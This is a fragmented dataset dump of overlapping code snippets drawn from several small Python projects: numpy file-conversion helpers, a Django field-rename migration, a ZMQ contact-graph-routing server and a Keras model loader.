np.load(npy_fname), fmt='%s') return", "in a file in a memory / time efficient way def file_len(fname): i", "as f: for i, l in enumerate(f, 1): pass return i # Save", "enumerate(f, 1): pass return i # Save numpy array from .npy file to", "__fail__ = 0 # Returns number of lines in a file in a", ".npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__", "pass return i # Save numpy array from .npy file to txt file", "be used often # ######################################################################################################### import numpy as np ######################################################################################################### __author__ = 'DataCentric1'", "to csv file. TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array =", "in a memory / time efficient way def file_len(fname): i = -1 with", "functions that'll be used often # ######################################################################################################### import numpy as np ######################################################################################################### __author__", "a memory / time efficient way def file_len(fname): i = -1 with open(fname)", "# Description: Collection of support functions that'll be used often # ######################################################################################################### import", "index_col = temp_array.shape print index_row print index_col f = open(csv_fname, 'w') for i", "of lines in a file in a memory / time efficient way def", "TODO - Doublce check fn def save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col", "# Save numpy array from .npy file to csv file. TODO - Doublce", "f = open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i, 1])", "np.load(npy_fname), fmt='%s') return __pass__ # Save numpy array from .npy file to csv", "lines in a file in a memory / time efficient way def file_len(fname):", "support functions that'll be used often # ######################################################################################################### import numpy as np #########################################################################################################", "np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__ = 0 # Returns", "######################################################################################################### # Description: Collection of support functions that'll be used often # #########################################################################################################", "as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__ = 0 #", "/ time efficient way def file_len(fname): i = -1 with open(fname) as f:", "save_npy_array_to_csv(npy_fname, csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print index_col", "of support functions that'll be used often # ######################################################################################################### import numpy as np", "Description: Collection of support functions that'll be used often # ######################################################################################################### import numpy", "index_col f = open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i,", "'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i, 1]) f.write(\"\\n\") f.close() return", "that'll be used often # ######################################################################################################### import numpy as np ######################################################################################################### __author__ =", "way def file_len(fname): i = -1 with open(fname) as f: for i, l", "for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i, 1]) f.write(\"\\n\") f.close() return __pass__", "Save numpy array from .npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname,", "# ######################################################################################################### import numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1", "def file_len(fname): i = -1 with open(fname) as f: for i, l in", "Save numpy array from .npy file to csv file. TODO - Doublce check", "numpy array from .npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname),", "= np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print index_col f = open(csv_fname,", "= open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\") f.write(temp_array[i, 1]) f.write(\"\\n\")", "'DataCentric1' __pass__ = 1 __fail__ = 0 # Returns number of lines in", "txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save numpy", "print index_col f = open(csv_fname, 'w') for i in range(index_row): f.write(temp_array[i, 0]) f.write(\",\")", "__pass__ # Save numpy array from .npy file to csv file. TODO -", "to txt file def save_npy_array_to_txt(npy_fname, txt_fname): np.savetxt(txt_fname, np.load(npy_fname), fmt='%s') return __pass__ # Save", "temp_array.shape print index_row print index_col f = open(csv_fname, 'w') for i in range(index_row):", "csv_fname): temp_array = np.load(npy_fname) index_row, index_col = temp_array.shape print index_row print index_col f", "# Save numpy array from .npy file to txt file def save_npy_array_to_txt(npy_fname, txt_fname):", "######################################################################################################### import numpy as np ######################################################################################################### __author__ = 'DataCentric1' __pass__ = 1 __fail__" ]
[ "Generated by Django 3.1.4 on 2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration):", "2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'),", "django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations =", "migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField(", "[ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField( model_name='arexperienceasset', old_name='arexperience_id', new_name='pid', ), ]", "from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations", "02:29 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ]", "Django 3.1.4 on 2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration): dependencies =", "# Generated by Django 3.1.4 on 2021-04-11 02:29 from django.db import migrations class", "dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField( model_name='arexperienceasset', old_name='arexperience_id', new_name='pid',", "by Django 3.1.4 on 2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration): dependencies", "on 2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences',", "Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField( model_name='arexperienceasset', old_name='arexperience_id',", "= [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField( model_name='arexperienceasset', old_name='arexperience_id', new_name='pid', ),", "import migrations class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [", "<reponame>Phantomxm2021/ARMOD-Dashboard # Generated by Django 3.1.4 on 2021-04-11 02:29 from django.db import migrations", "3.1.4 on 2021-04-11 02:29 from django.db import migrations class Migration(migrations.Migration): dependencies = [", "class Migration(migrations.Migration): dependencies = [ ('ARExperiences', '0004_auto_20210411_1019'), ] operations = [ migrations.RenameField( model_name='arexperienceasset'," ]
[ "= getopt.getopt(argumentList, options) # checking each argument for currentArgument, currentValue in arguments: if", "* import zmq import time import sys import random import json import re", "options = \"hc\" try: # Parsing argument arguments, values = getopt.getopt(argumentList, options) #", "for currentArgument, currentValue in arguments: if currentArgument in (\"-h\"): print (\"Use the option", "location \") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan file :\", sys.argv[2])", "error, and return with an error code print (str(err)) port = \"4555\" context", "caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0", "msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime =", "from py_cgr.py_cgr_lib.py_cgr_lib import * import zmq import time import sys import random import", "(\"Contact plan file :\", sys.argv[2]) except getopt.error as err: # output error, and", "context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan =", "startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop:", "return with an error code print (str(err)) port = \"4555\" context = zmq.Context()", ":\", sys.argv[2]) except getopt.error as err: # output error, and return with an", "error code print (str(err)) port = \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR)", "socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json',", "getopt.error as err: # output error, and return with an error code print", "random import json import re import getopt argumentList = sys.argv[1:] # Options options", "= list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact", "each argument for currentArgument, currentValue in arguments: if currentArgument in (\"-h\"): print (\"Use", "sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's", "print (\"Use the option -m to specify the contact plan file location \")", "= re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1])", "sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId,", "int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize,", "the contact plan file location \") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact", "arguments: if currentArgument in (\"-h\"): print (\"Use the option -m to specify the", "py_cgr.py_cgr_lib.py_cgr_lib import * import zmq import time import sys import random import json", "with an error code print (str(err)) port = \"4555\" context = zmq.Context() socket", "# output error, and return with an error code print (str(err)) port =", "route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop: \"", "argumentList = sys.argv[1:] # Options options = \"hc\" try: # Parsing argument arguments,", "context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan", "= \"hc\" try: # Parsing argument arguments, values = getopt.getopt(argumentList, options) # checking", "output error, and return with an error code print (str(err)) port = \"4555\"", "= zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan =", "Parsing argument arguments, values = getopt.getopt(argumentList, options) # checking each argument for currentArgument,", "#localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time =", "destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100,", "\"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error", "time import sys import random import json import re import getopt argumentList =", "sys import random import json import re import getopt argumentList = sys.argv[1:] #", "= cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop: \" +", "currentValue in arguments: if currentArgument in (\"-h\"): print (\"Use the option -m to", "= int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1,", "in arguments: if currentArgument in (\"-h\"): print (\"Use the option -m to specify", "import * import zmq import time import sys import random import json import", "startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time", "(\"Use the option -m to specify the contact plan file location \") sys.exit(0)", "print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId", "import json import re import getopt argumentList = sys.argv[1:] # Options options =", "= sys.argv[1:] # Options options = \"hc\" try: # Parsing argument arguments, values", "options) # checking each argument for currentArgument, currentValue in arguments: if currentArgument in", "contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True:", "print (str(err)) port = \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" %", "5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg = socket.recv()", "plan file location \") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan file", "= cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg = socket.recv() print(\"message received", "5000) curr_time = 0 while True: msg = socket.recv() print(\"message received by server\")", "Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact,", "json import re import getopt argumentList = sys.argv[1:] # Options options = \"hc\"", "option -m to specify the contact plan file location \") sys.exit(0) elif currentArgument", "= Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route =", "root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending", "socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000)", "zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan = cp_load(sys.argv[2],", "int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0)", "= socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None,", "zmq import time import sys import random import json import re import getopt", "root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route", "by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0])", "# Parsing argument arguments, values = getopt.getopt(argumentList, options) # checking each argument for", "socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage))", "in (\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except getopt.error as err: #", "#contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg = socket.recv() print(\"message", "(str(err)) port = \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port)", "err: # output error, and return with an error code print (str(err)) port", "the option -m to specify the contact plan file location \") sys.exit(0) elif", "cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg = socket.recv() print(\"message received by", "0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan)", "port = \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost", "(\"-h\"): print (\"Use the option -m to specify the contact plan file location", "% port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000)", "argument for currentArgument, currentValue in arguments: if currentArgument in (\"-h\"): print (\"Use the", "= cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg", "= 0 while True: msg = socket.recv() print(\"message received by server\") splitMessage =", "100, 1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the", "import getopt argumentList = sys.argv[1:] # Options options = \"hc\" try: # Parsing", "sys.argv[1:] # Options options = \"hc\" try: # Parsing argument arguments, values =", "if currentArgument in (\"-h\"): print (\"Use the option -m to specify the contact", "received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId =", "import random import json import re import getopt argumentList = sys.argv[1:] # Options", "contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop: \" + str(route.next_node)) socket.send_string(str(route.next_node)) time.sleep(1)", "error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while", "destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop: \" + str(route.next_node)) socket.send_string(str(route.next_node))", "arguments, values = getopt.getopt(argumentList, options) # checking each argument for currentArgument, currentValue in", "import time import sys import random import json import re import getopt argumentList", "except getopt.error as err: # output error, and return with an error code", "\") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except", "currentArgument in (\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except getopt.error as err:", "to specify the contact plan file location \") sys.exit(0) elif currentArgument in (\"-c\"):", "file location \") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan file :\",", "file :\", sys.argv[2]) except getopt.error as err: # output error, and return with", "import re import getopt argumentList = sys.argv[1:] # Options options = \"hc\" try:", "= \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused", "0 while True: msg = socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+',", "plan file :\", sys.argv[2]) except getopt.error as err: # output error, and return", "getopt argumentList = sys.argv[1:] # Options options = \"hc\" try: # Parsing argument", "re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime", "argument arguments, values = getopt.getopt(argumentList, options) # checking each argument for currentArgument, currentValue", "currentArgument in (\"-h\"): print (\"Use the option -m to specify the contact plan", "re import getopt argumentList = sys.argv[1:] # Options options = \"hc\" try: #", "# Options options = \"hc\" try: # Parsing argument arguments, values = getopt.getopt(argumentList,", "cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time = 0 while True: msg =", "= int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time =", "an error code print (str(err)) port = \"4555\" context = zmq.Context() socket =", "-m to specify the contact plan file location \") sys.exit(0) elif currentArgument in", "sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId,", "import zmq import time import sys import random import json import re import", "int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0, sys.maxsize, 100, 1, 0) root_contact.arrival_time = startTime", "values = getopt.getopt(argumentList, options) # checking each argument for currentArgument, currentValue in arguments:", "try: # Parsing argument arguments, values = getopt.getopt(argumentList, options) # checking each argument", "and return with an error code print (str(err)) port = \"4555\" context =", "elif currentArgument in (\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except getopt.error as", "= int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId, sourceId, 0,", "getopt.getopt(argumentList, options) # checking each argument for currentArgument, currentValue in arguments: if currentArgument", "server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId", "splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId =", "code print (str(err)) port = \"4555\" context = zmq.Context() socket = context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\"", "Options options = \"hc\" try: # Parsing argument arguments, values = getopt.getopt(argumentList, options)", "list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact =", "contact plan file location \") sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan", "splitMessage = list(filter(None, splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2])", "currentArgument, currentValue in arguments: if currentArgument in (\"-h\"): print (\"Use the option -m", "0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route)", "as err: # output error, and return with an error code print (str(err))", "import sys import random import json import re import getopt argumentList = sys.argv[1:]", "\"hc\" try: # Parsing argument arguments, values = getopt.getopt(argumentList, options) # checking each", "# checking each argument for currentArgument, currentValue in arguments: if currentArgument in (\"-h\"):", "= context.socket(zmq.PAIR) socket.bind(\"tcp://127.0.0.1:%s\" % port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan", "splitMessage)) sourceId = int(splitMessage[0]) destinationId = int(splitMessage[1]) startTime = int(splitMessage[2]) root_contact = Contact(sourceId,", "sys.argv[2]) except getopt.error as err: # output error, and return with an error", "msg = socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage =", "checking each argument for currentArgument, currentValue in arguments: if currentArgument in (\"-h\"): print", "in (\"-h\"): print (\"Use the option -m to specify the contact plan file", "print (\"Contact plan file :\", sys.argv[2]) except getopt.error as err: # output error,", "(\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except getopt.error as err: # output", "= startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next", "curr_time = 0 while True: msg = socket.recv() print(\"message received by server\") splitMessage", "port) #localhost caused error contact_plan = cp_load(sys.argv[2], 5000) #contact_plan = cp_load('module/scheduler/src/contactPlan.json', 5000) curr_time", "specify the contact plan file location \") sys.exit(0) elif currentArgument in (\"-c\"): print", "while True: msg = socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8'))", "1, 0) root_contact.arrival_time = startTime route = cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\")", "True: msg = socket.recv() print(\"message received by server\") splitMessage = re.findall('[0-9]+', msg.decode('utf-8')) splitMessage", "cgr_dijkstra(root_contact, destinationId, contact_plan) print(\"***Here's the route\") print(route) print(\"***Sending next hop: \" + str(route.next_node))", "sys.exit(0) elif currentArgument in (\"-c\"): print (\"Contact plan file :\", sys.argv[2]) except getopt.error" ]
[ "image: image object that has been read :return: float between 0 and 1", "= package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs", "was trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True,", "inputs (should be same order as training data) :param happening: if set False,", "and not override: input_array = self.scaling_tool.transform(input_array) if happening: return self.model.predict([input_array])[0][0] else: return self.model.predict([input_array])[0][0]", "= package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False if package[\"system", "{}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained on", "import pickle import keras import sys import cv2 class KerasLoader: def __init__(self, file_path):", "if package[\"system version\"] != str(sys.version): print(\"warning! model was trained in {}. You're running", "/ 255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if", "on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None):", "== \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav' found\")", "not happening :param override: set to True if you want to override scaling", "None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image", "image object that has been read :return: float between 0 and 1 \"\"\"", "\"rb\")) else: print(\"error wrong format no 'sav' found\") package = None self.model =", "img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override:", "override scaling :param image: image object that has been read :return: float between", "print(\"warning! model was trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self,", "return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if happening:", "as training data) :param happening: if set False, returns probability of event not", "to override scaling :param image: image object that has been read :return: float", "np import pickle import keras import sys import cv2 class KerasLoader: def __init__(self,", "override: set to True if you want to override scaling :param image: image", "no 'sav' found\") package = None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if", "scaling :param image: image object that has been read :return: float between 0", "image.astype(\"float\") / 255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else:", "package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False if package[\"system version\"]", "want to override scaling :param image: image object that has been read :return:", "file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav'", "running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability", "axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if", "'sav' found\") package = None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional:", "package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool:", "False if package[\"system version\"] != str(sys.version): print(\"warning! model was trained in {}. You're", "self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"]", "= True else: self.scaled_inputs = False if package[\"system version\"] != str(sys.version): print(\"warning! model", "happening=True, override=False, image=None): \"\"\" Calculates probability of outcome :param input_array: array of inputs", ":param image: image object that has been read :return: float between 0 and", "= pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav' found\") package = None", "\"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav' found\") package", "returns probability of event not happening :param override: set to True if you", "0 and 1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image =", "print(\"error wrong format no 'sav' found\") package = None self.model = package[\"model\"] self.convolutional", "{}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\"", "print(\"warning! model was trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras", "from keras.preprocessing.image import img_to_array import numpy as np import pickle import keras import", "{}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model", "np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array)", "def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of outcome :param input_array:", "import img_to_array import numpy as np import pickle import keras import sys import", "was trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] !=", "def __init__(self, file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error", "You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was", "model was trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"]", "order as training data) :param happening: if set False, returns probability of event", "\"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0", "= img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not", "file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format", "import numpy as np import pickle import keras import sys import cv2 class", "package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool =", "input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of outcome :param input_array: array of", "pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav' found\") package = None self.model", "between 0 and 1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image", "\"\"\" Calculates probability of outcome :param input_array: array of inputs (should be same", "(should be same order as training data) :param happening: if set False, returns", "else: print(\"error wrong format no 'sav' found\") package = None self.model = package[\"model\"]", "float between 0 and 1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two))", "override=False, image=None): \"\"\" Calculates probability of outcome :param input_array: array of inputs (should", "in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning!", "= None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two =", "self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if happening: return self.model.predict([input_array])[0][0] else: return", "1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") /", "data) :param happening: if set False, returns probability of event not happening :param", "happening: if set False, returns probability of event not happening :param override: set", "set to True if you want to override scaling :param image: image object", "package = None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two", "event not happening :param override: set to True if you want to override", "cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image = img_to_array(image) image =", "as np import pickle import keras import sys import cv2 class KerasLoader: def", "True else: self.scaled_inputs = False if package[\"system version\"] != str(sys.version): print(\"warning! model was", "Version\"] != str(keras.__version__): print(\"warning! model was trained on {}. You're running {}\".format(package[\"Keras Version\"],", "!= str(sys.version): print(\"warning! model was trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version)))", "set False, returns probability of event not happening :param override: set to True", "package[\"system version\"] != str(sys.version): print(\"warning! model was trained in {}. You're running {}\".format(package[\"system", "that has been read :return: float between 0 and 1 \"\"\" if self.convolutional:", ":param input_array: array of inputs (should be same order as training data) :param", "keras import sys import cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:] ==", "package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs =", "trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False,", "if set False, returns probability of event not happening :param override: set to", "if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image", "numpy as np import pickle import keras import sys import cv2 class KerasLoader:", "sys import cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\": package", 